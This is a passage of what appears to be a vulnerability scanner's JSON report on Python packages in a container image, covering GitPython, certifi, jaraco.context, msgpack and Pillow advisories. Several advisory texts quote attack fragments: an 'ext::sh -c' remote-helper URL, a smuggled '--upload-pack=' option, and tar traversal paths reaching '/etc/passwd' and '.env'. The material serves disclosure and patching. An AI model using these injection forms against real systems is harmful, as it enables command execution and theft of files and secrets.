parses and runs the second token. Impact: ACE (marker created, verified end-to-end).\n\n## Bypass Evidence\nLive-verified on HEAD (tag 3.1.53): `_option_candidates` returns key-only candidate `['-n']`; `transform_kwargs` emits the smuggled `--upload-pack=` token; clone_from with the payload created the marker file; the direct-name `upload_pack=` form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option, GHSA-x2qx multi-before-split) are BLOCKED on HEAD — this is a distinct kwarg-value-\u003eseparate-token vector.\n\n## Affected Versions\n`\u003c= 3.1.53`\n\n## Suggested Fix\nMake `_option_candidates` also emit candidates derived from single-character kwarg VALUES when `split_single_char_options` is in effect, OR run `check_unsafe_options` over the fully-transformed argv rather than the reconstructed name-only candidate list.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-r9mr-m37c-5fr3", "https://github.com/advisories/GHSA-r9mr-m37c-5fr3", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453", "https://github.com/gitpython-developers/GitPython/pull/2180", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3" ], "PublishedDate": "2026-07-24T16:42:57Z", "LastModifiedDate": "2026-07-24T16:42:57Z" }, { "VulnerabilityID": "GHSA-w8jc-g24h-crhw", "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.2.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-w8jc-g24h-crhw", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:f1a01ea8fcbce84de62081534490e8710346cc3eb1341114bd60deb2c8f7d987", "Title": "GitPython command wrappers omit unsafe protocol and option checks", "Description": "### Summary\n\nGitPython has spent 2022-2026 rolling out two reusable guards method-by-method: `Git.check_unsafe_protocols(url)` (raises `UnsafeProtocolError` for `\u003ctransport\u003e::` remote-helper URLs - CVE-2022-24439) and `Git.check_unsafe_options(...)` (raises `UnsafeOptionError` for denylisted option spellings - CVE-2023-40267, CVE-2026-42215, CVE-2026-67323). Three wrapper methods that build a `git` argv from caller-controlled values still have **neither**:\n\n1. **`Git.ls_remote`** (git/cmd.py:1128-1143) - checks options (:1139-1141) but forwards the URL positional unchecked; no `allow_unsafe_protocols` parameter exists. The same URL through `clone_from` raises `UnsafeProtocolError`.\n2. **`Repo.merge_base`** (git/repo/base.py:895-936) - forwards `**kwargs`/`*rev` to `self.git.merge_base` with no guard; guarded sibling `iter_commits` sits 12 lines up. Its exception handler additionally swallows every non-128 `GitCommandError` into `[]`, masking the injection.\n3. **`IndexFile.move`** (git/index/base.py:1092-1168) - forwards `**kwargs` to `git mv` twice (:1147, :1167); guarded sibling `remove()` is 23 lines above.\n\nVerified unfixed on `main @ a54d159` (2026-09-21), post-dating latest release 3.1.62 (2026-09-07) - all three sites re-verified today.\n\n### Impact\n\n**Site 1 (`ls_remote`)** - RCE conditional on the victim git transport policy. The common 'probe first, then clone' pattern (`Git(...).ls_remote(attacker_url)`) with an `ext::sh -c ...` URL executes arbitrary commands when the victim git permits the ext transport: dynamically verified with `protocol.ext.allow=always` (marker executed). git \u003e= 2.38.1 stock config refuses the transport (`fatal: transport 'ext' not allowed`, rc 128) - GitPython adds no defense-in-depth and surfaces a bare `GitCommandError`. Environments on git \u003c 2.38.1 are exposed with stock config - the exact population CVE-2022-24439 was scored against.\n\n**Sites 2/3** - latent argument-injection surface: caller kwargs flow 1:1 into the `git` argv before operands and `--` (cmd.py:1850 `opt_args + ext_args`), and `execute_kwargs` (incl. `shell=True`/`env` - the CVE-2023-40267 Windows mechanism) passes through unguarded. Today `git merge-base`/`git mv` expose no exec option, so we claim the missing-guard class (vendor-settled by CVE-2026-67323, which bundled archive/ls_remote/iter_commits/blame in one advisory), not direct RCE.\n\n### Dynamic verification (today; GitPython main @ a54d159, git 2.55.0, Linux)\n\n| # | Call | Result |\n|---|---|---|\n| T1 | `repo.git.ls_remote('ext::/tmp/gp_touch.sh')`, stock config | git refuses (rc 128); **no `UnsafeProtocolError` from GitPython** |\n| T1b | same + victim config `protocol.ext.allow=always` | **marker created - arbitrary command executed** |\n| T2 | `repo.git.ls_remote('.', upload_pack=...)` | blocked by cmd.py:1141 (options-side fixed - protocol-side is the residual gap) |\n| T3 | `repo.merge_base('main','side', upload_pack=...)` | **not blocked**; argv `git merge-base --upload-pack=... main side`; rc 129 silently converted to `[]` |\n| T4 | `repo.index.move(['f1','f2'], output=...)` | **not blocked**; option reaches `git mv` (rc 129) |\n\n### Coverage matrix (main @ a54d159)\n\n`check_unsafe_protocols`: 7 call sites (`_clone`, `archive`, `set_url`, `create`, `fetch`, `pull`, `push`) - none on `ls_remote`.\n`check_unsafe_options`: 24 call sites incl. `ls_remote`, `iter_commits`, `IndexFile.remove` - absent on `merge_base` and `move`.\n\n### Precedents (same repo, same guard family)\n\n- **CVE-2022-24439 / GHSA-hcpj-qp55-gfph** (critical): `check_unsafe_protocols` on the clone path - Site 1 is the same `ext::` primitive on a sibling API.\n- **CVE-2023-40267 / GHSA-pr76-5cm5-w9cj** (critical, 'incomplete fix for CVE-2022-24439'): `check_unsafe_options` - unguarded kwargs to argv treated as RCE (`shell=True` on Windows).\n- **CVE-2026-42215 / GHSA-rpm5-65cw-6hj4** (high, fixed 3.1.47): underscored-spelling bypass - rollout still active in 2026.\n- **CVE-2026-67323 / GHSA-956x-8gvw-wg5v** (high, 8.4, fixed 3.1.51): added `check_unsafe_options` to `archive`/`ls_remote`/`iter_commits`/`blame`; its PoC is literally `repo.git.ls_remote('.', upload_pack=...)`. Establishes that a wrapper missing the check is itself a vulnerability. This report is the residual gap of that rollout: `ls_remote` got options but not protocols; `merge_base`/`move` got neither.\n\n### Recommended fix (existing helpers, 1-3 lines per site)\n\n1. `Git.ls_remote`: `if not allow_unsafe_protocols: self.check_unsafe_protocols(args[0])` + new `allow_unsafe_protocols: bool = False` (the `_clone` pattern, base.py:1536-1538).\n2. `Repo.merge_base`: `check_unsafe_options(Git._option_candidates(list(rev), kwargs), unsafe_options=self.unsafe_git_revision_options)` (the `iter_commits` pattern); stop masking non-128 statuses.\n3. `IndexFile.move`: the `remove()` pattern with `unsafe_git_pathspec_from_file_options`.\n\nOne advisory, three affected methods, severity anchored on Site 1 - mirroring CVE-2026-67323's bundling.", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/9ad28cc4c7176d22cd6181d69805058a719dd03b", "https://github.com/gitpython-developers/GitPython/pull/2251", "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-w8jc-g24h-crhw" ], "PublishedDate": "2026-10-27T15:26:43Z", "LastModifiedDate": "2026-10-27T15:26:43Z" }, { "VulnerabilityID": "GHSA-6q48-6c7w-9gw2", "PkgName": "certifi", "PkgPath": "usr/local/lib/python3.11/site-packages/certifi-2025.11.12.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/certifi@2025.11.12", "UID": "23871ceadb6b3454" }, "InstalledVersion": "2025.11.12", "FixedVersion": "2026.10.18", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-6q48-6c7w-9gw2", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:3981567af3cc36e85b4bc20c6c78256c4899a5ec671a06b27410f1d4a10d0765", "Title": "certifi bundles emSign root CAs with compromised intermediate CA keys", "Description": "Certifi versions before 2026.10.18 include the `emSign ECC Root CA - G3` root certificate in their bundled CA store. Eight eMudhra intermediate CA certificates that chain to this root have compromised private keys and the CA has revoked them. \n\nAn attacker with one of the compromised keys can issue valid-looking certificates for any hostname. If the attacker is also on-path, they can intercept or modify TLS traffic from clients that trust the certifi bundle. Examples include `requests`, `urllib3` and `pip`, and the Python.org macOS installer.\n\nCertifi 2026.10.18 removed all emSign roots from the bundle. Certifi 2026.10.19 restored the emSign roots that are not affected. Upgrade to 2026.10.19 or later, and rebuild container images that vendor certifi.", "Severity": "CRITICAL", "VendorSeverity": { "ghsa": 4 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", "V40Score": 9.1 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-6q48-6c7w-9gw2", "https://discuss.python.org/t/information-for-python-users-regarding-emudhra-emsign-ca-certificate-security-incident/109576", "https://emudhra.we-have-a-problem.com", "https://github.com/advisories/GHSA-6q48-6c7w-9gw2", "https://github.com/certifi/python-certifi", "https://github.com/certifi/python-certifi/security/advisories/GHSA-6q48-6c7w-9gw2" ], "PublishedDate": "2026-10-20T19:35:05Z", "LastModifiedDate": "2026-10-26T16:02:12Z" }, { "VulnerabilityID": "CVE-2026-23949", "VendorIDs": [ "GHSA-58pv-8j8x-9vj2" ], "PkgName": "jaraco.context", "PkgPath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/jaraco.context-5.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/jaraco.context@5.3.0", "UID": "d6550b81e52efabe" }, "InstalledVersion": "5.3.0", "FixedVersion": "6.1.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23949", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:e5df3da60f819ee58756b34bc490f985e1720946f1846cb01f4beab62c44a606", "Title": "jaraco.context: jaraco.context: Path traversal via malicious tar archives", "Description": "jaraco.context, an open-source software package that provides some useful decorators and context managers, has a Zip Slip path traversal vulnerability in the `jaraco.context.tarball()` function starting in version 5.2.0 and prior to version 6.1.0. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed. The strip_first_component filter splits the path on the first `/` and extracts the second component, while allowing `../` sequences. Paths like `dummy_dir/../../etc/passwd` become `../../etc/passwd`. Note that this suffers from a nested tarball attack as well with multi-level tar files such as `dummy_dir/inner.tar.gz`, where the inner.tar.gz includes a traversal `dummy_dir/../../config/.env` that also gets translated to `../../config/.env`. Version 6.1.0 contains a patch for the issue.", "Severity": "HIGH", "CweIDs": [ "CWE-22" ], "VendorSeverity": { "ghsa": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "V3Score": 8.6 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "V3Score": 8.6 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23949", "https://advisory.echohq.com/cve/CVE-2026-23949", "https://github.com/jaraco/jaraco.context", "https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/__init__.py#L74-L91", "https://github.com/jaraco/jaraco.context/commit/7b26a42b525735e4085d2e994e13802ea339d5f9", "https://github.com/jaraco/jaraco.context/security/advisories/GHSA-58pv-8j8x-9vj2", "https://github.com/pypa/setuptools/blob/main/setuptools/_vendor/jaraco/context.py#L55-L76", "https://nvd.nist.gov/vuln/detail/CVE-2026-23949", "https://ubuntu.com/security/notices/USN-7979-1", "https://www.cve.org/CVERecord?id=CVE-2026-23949" ], "PublishedDate": "2026-01-20T01:15:57.723Z", "LastModifiedDate": "2026-06-17T10:22:20.2Z" }, { "VulnerabilityID": "CVE-2026-114613", "VendorIDs": [ "GHSA-j586-36cw-2gc2" ], "PkgName": "msgpack", "PkgPath": "usr/local/lib/python3.11/site-packages/msgpack-1.1.2.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/msgpack@1.1.2", "UID": "98bfc3a048cd4393" }, "InstalledVersion": "1.1.2", "FixedVersion": "1.2.3", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-114613", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:58b8ef012d755be2183c7e4408df4621e12adcd4f8a0a2001cc3df5955a33b51", "Title": "msgpack: msgpack: Denial of Service via memory leak during map deserialization", "Description": "MessagePack is the serializer implementation for Python msgpack.org. Prior to 1.2.3, the msgpack-python C extension (msgpack._cmsgpack) leaks a decoded map value when deserialization rejects a key with strict_map_key=True (the default). Repeated malformed inputs can cause unbounded process memory growth and denial of service in applications that deserialize attacker-controlled MessagePack data. Both unpackb() and the streaming Unpacker API are affected. The pure-Python fallback does not exhibit this leak in the reported tests. This issue is fixed in version 1.2.3.", "Severity": "HIGH", "CweIDs": [ "CWE-401" ], "VendorSeverity": { "azure": 3, "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-114613", "https://advisory.echohq.com/cve/CVE-2026-114613", "https://github.com/msgpack/msgpack-python", "https://github.com/msgpack/msgpack-python/commit/620b0eb4c89cd72d4098564537624d9dbb2ce141", "https://github.com/msgpack/msgpack-python/releases/tag/v1.2.3", "https://github.com/msgpack/msgpack-python/security/advisories/GHSA-j586-36cw-2gc2", "https://nvd.nist.gov/vuln/detail/CVE-2026-114613", "https://www.cve.org/CVERecord?id=CVE-2026-114613" ], "PublishedDate": "2026-10-22T19:17:37.733Z", "LastModifiedDate": "2026-10-23T21:17:21.823Z" }, { "VulnerabilityID": "GHSA-6v7p-g79w-8964", "PkgName": "msgpack", "PkgPath": "usr/local/lib/python3.11/site-packages/msgpack-1.1.2.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/msgpack@1.1.2", "UID": "98bfc3a048cd4393" }, "InstalledVersion": "1.1.2", "FixedVersion": "1.2.1", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-6v7p-g79w-8964", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:2d3ea715c354446a7367cc3677d876e025860fb96340fc928d2fda35f3c3c6e8", "Title": "MessagePack for Python: Out-of-bounds read / crash on Unpacker reuse after a caught error", "Description": "### Impact\n\nIf the Unpacker is used repeatedly after an error occurs, the process may crash with a SEGV.\n\nIf the Unpacker is used repeatedly to unpack untrusted input from external sources, it may be vulnerable to a DoS attack.\n\n### Patches\n\nv1.2.1\n\n### Workarounds\n\nUsers should create a new Unpacker instead of reusing the same Unpacker after an error occurs.\n\nApplying the above patch can prevent SEGV, but reusing the Streaming Unpacker after it has encountered an error will not yield correct data. If an error occurs during Streaming Unpacking, the Stream and Streaming Unpacker should be discarded.\n\nTherefore, this is not just a workaround but the correct solution. The above patch only prevents crashes from incorrect usage.", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-6v7p-g79w-8964", "https://github.com/advisories/GHSA-6v7p-g79w-8964", "https://github.com/msgpack/msgpack-python", "https://github.com/msgpack/msgpack-python/commit/2c56ddb5d0025ed481d962c0f5d62d19dec7476d", "https://github.com/msgpack/msgpack-python/releases/tag/v1.2.1", "https://github.com/msgpack/msgpack-python/security/advisories/GHSA-6v7p-g79w-8964" ], "PublishedDate": "2026-06-19T21:42:55Z", "LastModifiedDate": "2026-06-19T21:42:55Z" }, { "VulnerabilityID": "CVE-2026-112393", "VendorIDs": [ "GHSA-332p-7hrc-92wf" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112393", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:f08cb65498290db62b01daf0394a89ad94635726803911c8a74e62b07169c62d", "Title": "pillow: Pillow: Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO", "Description": "Pillow is a Python imaging library. From 2.0.0 until 13.0.0, Pillow has a heap buffer overflow and stale-heap disclosure in _tiffWriteProc when saving compressed TIFF data through libtiff to a target without a usable fileno(), such as BytesIO. The callback sizes its allocation from the prior buffer size instead of the current write position, allowing an attacker-controlled out-of-line TIFF tag or retained ICC profile to be copied beyond the allocation after libtiff seeks forward. This overflow can crash the process and may allow code execution. Independently, unwritten alignment gaps in compressed TIFF output larger than 64 KiB can disclose stale heap bytes without a crafted tag. File paths and targets with real file descriptors are unaffected. This issue is fixed in version 13.0.0.", "Severity": "CRITICAL", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 4, "bitnami": 4, "ghsa": 4, "nvd": 4, "oracle-oval": 4, "redhat": 3, "rocky": 4, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93077", "https://access.redhat.com/security/cve/CVE-2026-112393", "https://advisory.echohq.com/cve/CVE-2026-112393", "https://bugzilla.redhat.com/2555846", "https://bugzilla.redhat.com/2555867", "https://bugzilla.redhat.com/2555889", "https://bugzilla.redhat.com/show_bug.cgi?id=2555846", "https://bugzilla.redhat.com/show_bug.cgi?id=2555867", "https://bugzilla.redhat.com/show_bug.cgi?id=2555889", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112393", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112900", "https://errata.almalinux.org/8/ALSA-2026-93077.html", "https://errata.rockylinux.org/RLSA-2026:93077", "https://getsafety.com/v/SFTY-20261021-13350/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/11582e5ffbdceb973d5ee593f3105af5a9852b40", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-332p-7hrc-92wf", "https://linux.oracle.com/cve/CVE-2026-112393.html", "https://linux.oracle.com/errata/ELSA-2026-93077.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112393", "https://www.cve.org/CVERecord?id=CVE-2026-112393" ], "PublishedDate": "2026-10-19T21:17:07.613Z", "LastModifiedDate": "2026-10-26T21:01:35.733Z" }, { "VulnerabilityID": "CVE-2026-112398", "VendorIDs": [ "GHSA-5x8w-8jj5-q52h" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112398", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:9ccffa7853731e9995ddbaadbfdf3db1b53b0aff148a32e6ef11611adbdb43c2", "Title": "pillow: Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution", "Description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's FlashPix JPEG-tile decoder can write decoded scanlines beyond the allocated tile buffer. FlashPix (FPX) JPEG decoding selects raw mode LA with two bytes per pixel, while an unrecognized JPEG mode can be decoded as JCS_UNKNOWN with four components, causing ImagingJpegDecode to write four-component scanlines into the two-byte tile buffer. An attacker can supply a crafted OLE2 FlashPix file to an application with the optional olefile dependency installed that opens or thumbnails untrusted input. This can corrupt heap memory and may allow arbitrary code execution. This issue is fixed in version 13.0.0.", "Severity": "CRITICAL", "CweIDs": [ "CWE-122", "CWE-787" ], "VendorSeverity": { "alma": 4, "bitnami": 4, "ghsa": 4, "nvd": 4, "oracle-oval": 4, "redhat": 3, "rocky": 4, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93077", "https://access.redhat.com/security/cve/CVE-2026-112398", "https://advisory.echohq.com/cve/CVE-2026-112398", "https://bugzilla.redhat.com/2555846", "https://bugzilla.redhat.com/2555867", "https://bugzilla.redhat.com/2555889", "https://bugzilla.redhat.com/show_bug.cgi?id=2555846", "https://bugzilla.redhat.com/show_bug.cgi?id=2555867", "https://bugzilla.redhat.com/show_bug.cgi?id=2555889", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112393", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112900", "https://errata.almalinux.org/8/ALSA-2026-93077.html", "https://errata.rockylinux.org/RLSA-2026:93077", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x8w-8jj5-q52h", "https://linux.oracle.com/cve/CVE-2026-112398.html", "https://linux.oracle.com/errata/ELSA-2026-93077.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112398", "https://www.cve.org/CVERecord?id=CVE-2026-112398" ], "PublishedDate": "2026-10-19T22:17:07.107Z", "LastModifiedDate": "2026-10-27T21:01:25.823Z" }, { "VulnerabilityID": "CVE-2026-112403", "VendorIDs": [ "GHSA-8g5g-8vmr-9782" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112403", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:0a121b0daf0a4b31e6a3e0da4291efe4b28fda39d799e89334e3476e1ac463f4", "Title": "pillow: Pillow: Heap buffer overflow in ImagingJpegDecode", "Description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's JPEG decoder can write a full-width scanline into a buffer sized for a requested draft scale. ImagingJpegDecode does not verify libjpeg's actual output width and component count after scaling is requested, and an 8-bit lossless SOF3 JPEG decoded by a build linked to libjpeg-turbo 3.x can ignore the requested downscaling geometry. An attacker can supply such a JPEG to an application that uses draft() or thumbnail() to request downscaling. This can corrupt heap memory, crash the process, or potentially allow code execution. Older libjpeg-turbo 2.x and IJG builds reject the SOF3 input. This issue is fixed in version 13.0.0.", "Severity": "CRITICAL", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "bitnami": 4, "ghsa": 4, "nvd": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112403", "https://advisory.echohq.com/cve/CVE-2026-112403", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-8g5g-8vmr-9782", "https://nvd.nist.gov/vuln/detail/CVE-2026-112403", "https://www.cve.org/CVERecord?id=CVE-2026-112403" ], "PublishedDate": "2026-10-19T22:17:07.77Z", "LastModifiedDate": "2026-10-27T15:00:15.043Z" }, { "VulnerabilityID": "CVE-2026-112900", "VendorIDs": [ "GHSA-w889-685w-c8fh" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112900", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:782c581a22d7aaa9d2fbbc8f1479fb587aed5af9e99d8373a3222f0971e63774", "Title": "pillow: Pillow: Argument Injection in Ghostscript call, potentially leading into RCE", "Description": "Pillow is a Python imaging library. From 2.6.0 until 13.0.0, Pillow is vulnerable to argument injection when invoking Ghostscript for EPS input. EpsImagePlugin.Ghostscript passes a caller-controlled input filename after -f without converting it to a safe absolute path, so a name beginning with a hyphen can be interpreted as a Ghostscript option. An attacker who controls the filename can inject Ghostscript arguments. Arbitrary command execution specifically requires a leading @ argument-file filename and control of the referenced text file containing additional Ghostscript arguments; the reported chain reproduces with the default -dSAFER invocation. This issue is 